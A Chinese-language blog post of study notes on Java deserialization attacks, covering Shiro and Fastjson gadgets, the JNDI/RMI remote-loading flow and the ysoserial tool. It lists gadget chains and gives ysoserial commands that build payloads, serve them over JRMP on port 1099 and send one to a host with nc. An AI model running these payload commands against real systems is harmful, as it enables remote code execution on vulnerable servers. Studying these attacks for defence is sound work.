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          <h1 class="post-title" itemprop="name headline">JAVA反序列化中产生的一些疑问</h1>
        

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        <h3 id="为什么shiro看到readObject就可以收工了？"><a href="#为什么shiro看到readObject就可以收工了？" class="headerlink" title="为什么shiro看到readObject就可以收工了？"></a>为什么shiro看到readObject就可以收工了？</h3><p>对一个类反序列化还原后第一个执行的就是readObject、在反序列化中执行一系列的攻击链条，可能是JDNI攻击链（对JDK版本有要求）、可能是CommonCollections这个宿主类并包装、可能是BadException这个宿主类并包装。反序列化只是实现1.控制输入、反序列（readObject）,具体反序列什么样的东西留给攻击链利用研究。</p>
<h3 id="反序列化三个条件"><a href="#反序列化三个条件" class="headerlink" title="反序列化三个条件"></a>反序列化三个条件</h3><p>宿主、媒介、恶意代码。其中上述需要传入的就是恶意代码。我们控制了恶意代码的入口点，反序列漏洞就形成了，后续还需要媒介和宿主形成完整的RCE</p>
<h3 id="为什么需要媒介和宿主"><a href="#为什么需要媒介和宿主" class="headerlink" title="为什么需要媒介和宿主"></a>为什么需要媒介和宿主</h3><p>JAVA反序列化要求：反序列化的类需要在本地有实现，且实现Serialize接口。因此随便写一个类可以满足第二个条件不能满足第一个条件，因此只能写一个宿主的包装类（这样就被认为传递的是宿主类），其包装就需要媒介类的参与。</p>
<h3 id="Fastjson反序列化的时候怎么做的"><a href="#Fastjson反序列化的时候怎么做的" class="headerlink" title="Fastjson反序列化的时候怎么做的"></a>Fastjson反序列化的时候怎么做的</h3><p>Fastjson反序列化的<strong>Gadget</strong>需要无参默认构造方法或者注解指定构造方法并添加相应参数。</p>
<p>使用Feature.SupportNonPublicField才能打开非公有属性的反序列化处理，</p>
<p>@type可以指定反序列化任意类调用其set，get，is方法，并且由于反序列化的特性，我们可以通过目标类的set方法自由的设置类的属性值。</p>
<p>以上为恶意代码阶段</p>
<hr>
<p>以下为Gadget阶段</p>
<p>常见的攻击流程是这样的：攻击者准备rmi服务和web服务，将rmi绝对路径注入到lookup方法中，受害者JNDI接口会指向攻击者控制rmi服务器，JNDI接口向攻击者控制web服务器远程加载恶意代码，执行构造函数形成RCE。 </p>
<h3 id="什么是Gadget"><a href="#什么是Gadget" class="headerlink" title="什么是Gadget"></a>什么是Gadget</h3><p>貌似就是后续这条媒介+宿主的利用链吧。</p>
<h3 id="ysoserial是干什么的"><a href="#ysoserial是干什么的" class="headerlink" title="ysoserial是干什么的"></a>ysoserial是干什么的</h3><p>简单点来说、就是研究Gadget后整理出来快速利用各个Gadget达到RCE的、其中包含了多种利用链。具体使用有待研究，它很有效，也很方便。</p>
<p>链接方式：<strong>JRMP协议</strong></p>
<p>已知攻击链：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line">BeanShell1          </span><br><span class="line">C3P0                </span><br><span class="line">Clojure             </span><br><span class="line">CommonsBeanutils1   </span><br><span class="line">CommonsCollections1 </span><br><span class="line">CommonsCollections2 </span><br><span class="line">CommonsCollections3 </span><br><span class="line">CommonsCollections4 </span><br><span class="line">CommonsCollections5 </span><br><span class="line">CommonsCollections6 </span><br><span class="line">FileUpload1         </span><br><span class="line">Groovy1             </span><br><span class="line">Hibernate1          </span><br><span class="line">Hibernate2          </span><br><span class="line">JBossInterceptors1  </span><br><span class="line">JRMPClient          </span><br><span class="line">JRMPListener        </span><br><span class="line">JSON1               </span><br><span class="line">JavassistWeld1      </span><br><span class="line">Jdk7u21             </span><br><span class="line">Jython1             </span><br><span class="line">MozillaRhino1       </span><br><span class="line">Myfaces1            </span><br><span class="line">Myfaces2            </span><br><span class="line">ROME                </span><br><span class="line">Spring1             </span><br><span class="line">Spring2             </span><br><span class="line">URLDNS              </span><br><span class="line">Wicket1</span><br></pre></td></tr></table></figure>

<p>利用方式官方给出三种：</p>
<h4 id="启动绑定1099的JRMP服务动态提供字节码"><a href="#启动绑定1099的JRMP服务动态提供字节码" class="headerlink" title="启动绑定1099的JRMP服务动态提供字节码"></a>启动绑定1099的JRMP服务动态提供字节码</h4><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">java -cp ysoserial-<span class="number">0</span>.<span class="number">0</span>.<span class="number">6</span>-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener <span class="number">1099</span> CommonsBeanutils1 'calc.exe'</span><br></pre></td></tr></table></figure>

<h4 id="生成字节流文件输出命令行："><a href="#生成字节流文件输出命令行：" class="headerlink" title="生成字节流文件输出命令行："></a>生成字节流文件输出命令行：</h4><p><strong>java -jar ysoserial.jar CommonsCollections1 calc.exe | xxd</strong><br>0000000: aced 0005 7372 0032 7375 6e2e 7265 666c  ….sr.2sun.refl<br>0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41  ect.annotation.A<br>0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174  nnotationInvocat<br>…<br>0000550: 7672 0012 6a61 7661 2e6c 616e 672e 4f76  vr..java.lang.Ov<br>0000560: 6572 7269 6465 0000 0000 0000 0000 0000  erride……….<br>0000570: 0078 7071 007e 003a                      .xpq.~.:</p>
<h4 id="主动发送到一个端口序列化后的恶意字节流："><a href="#主动发送到一个端口序列化后的恶意字节流：" class="headerlink" title="主动发送到一个端口序列化后的恶意字节流："></a>主动发送到一个端口序列化后的恶意字节流：</h4><p>$java -jar ysoserial.jar Groovy1 calc.exe &gt; groovypayload.bin<br>$ nc 10.10.10.10 1099 &lt; groovypayload.bin</p>

      
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  <p><span>本文标题:</span>JAVA反序列化中产生的一些疑问</p>
  <p><span>文章作者:</span>laker</p>
  <p><span>发布时间:</span>2019年12月25日 - 19:37:52</p>
  <p><span>最后更新:</span>2019年12月31日 - 15:19:42</p>
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